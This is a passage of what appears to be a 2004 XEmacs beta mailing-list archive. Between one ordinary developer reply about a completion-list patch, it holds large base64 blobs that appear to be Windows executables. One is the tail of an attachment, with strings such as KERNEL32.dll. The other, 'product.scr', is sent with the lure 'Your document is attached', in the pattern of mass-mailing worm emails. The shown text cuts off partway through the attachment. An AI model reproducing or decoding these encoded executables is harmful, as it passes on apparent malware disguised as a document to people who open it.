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 IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From xemacs-beta-admin@xemacs.org Sat Apr 24 11:45:22 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OFj2s32044; Sat, 24 Apr 2004 11:45:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OFi1Y31000 for xemacs-beta-mailman@xemacs.org; Sat, 24 Apr 2004 11:44:01 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OFhxX30969 for turnbull@tux.org; Sat, 24 Apr 2004 11:43:59 -0400 Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OFhns30829; Sat, 24 Apr 2004 11:43:50 -0400 Received: from 209-6-229-49.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([209.6.229.49] helo=zion.rcn.com) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BHPJl-0002vF-00; Sat, 24 Apr 2004 11:43:49 -0400 Received: by zion.rcn.com (Postfix, from userid 500) id 79DDB1E081; Sat, 24 Apr 2004 11:44:34 -0400 (EDT) To: Sven Grundmann Cc: xemacs-beta@xemacs.org Subject: Re: [Q21.4] completion list to wide bug fixed References: <3c6ulb24.fsf@smtpmail.t-online.de> From: Vin Shelton Organization: The XEmacs Development Team Date: Sat, 24 Apr 2004 11:44:34 -0400 In-Reply-To: (Sven Grundmann's message of "Sat, 24 Apr 2004 11:31:48 +0200") Message-ID: Lines: 20 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi Sven, Sven Grundmann writes: > my problem is i could not reproduce your behaviour. I saw you started > xemacs --vanilla. If i do the same, i get these arrows from the commentary > text, but when i set the commentary text to "" or to "x" like you did, > the scrollbar and the arrows are gone ! See the attached image. > > Is it possible that you changed it in the .el file byte compiled it, but > didn't reload it after starting xemacs --vanilla ? I made that mistake > in the beginning because i didn't know that list-mode.el is dumped in the > xemacs executable. It's probably even dumber than that. I was building from scratch (and so had a properly-dumped emacs), but I did a number of builds, and the final one did not include the patch. D'oh! I think I'll be applying the patch soon, with a modified comment. - vin From wuserang@fightclubmail.com Sat Apr 24 11:56:31 2004 Received: from syl.extundo.com (syl.extundo.com [212.32.189.101]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OFuQs11912 for ; Sat, 24 Apr 2004 11:56:30 -0400 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by syl.extundo.com (8.12.10/8.12.10) with ESMTP id i3OGT063001096 for ; Sat, 24 Apr 2004 18:29:01 +0200 Message-Id: <200404241629.i3OGT063001096@syl.extundo.com> From: wuserang@fightclubmail.com To: xemacs-beta-archive@xemacs.org Subject: Re: your product Date: Sat, 24 Apr 2004 11:45:33 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your document is attached to this mail. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="product.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="product.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAYAAAAA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUAAEwBAwAAAAAA AAAAAAAAAADgAA8BCwEAAAAEAAAAcgAAAAAAAAAgAQAAEAAAACAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAAMAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAAD0IAEAawAAAACwAABobQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdAAAAACgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA AADgAADAAAAAAHRhAAAAcAAAALAAAHRvAAAABAAAAAAAAAAAAAAAAAAA4AAAwAAAAABhAAAA ABAAAAAgAQAAAgAAAAIAAAAAAAAAAAAAAAAAAOAAAMAFBAYEAQDOIUAAAgAAQAAAAG4AAAAM 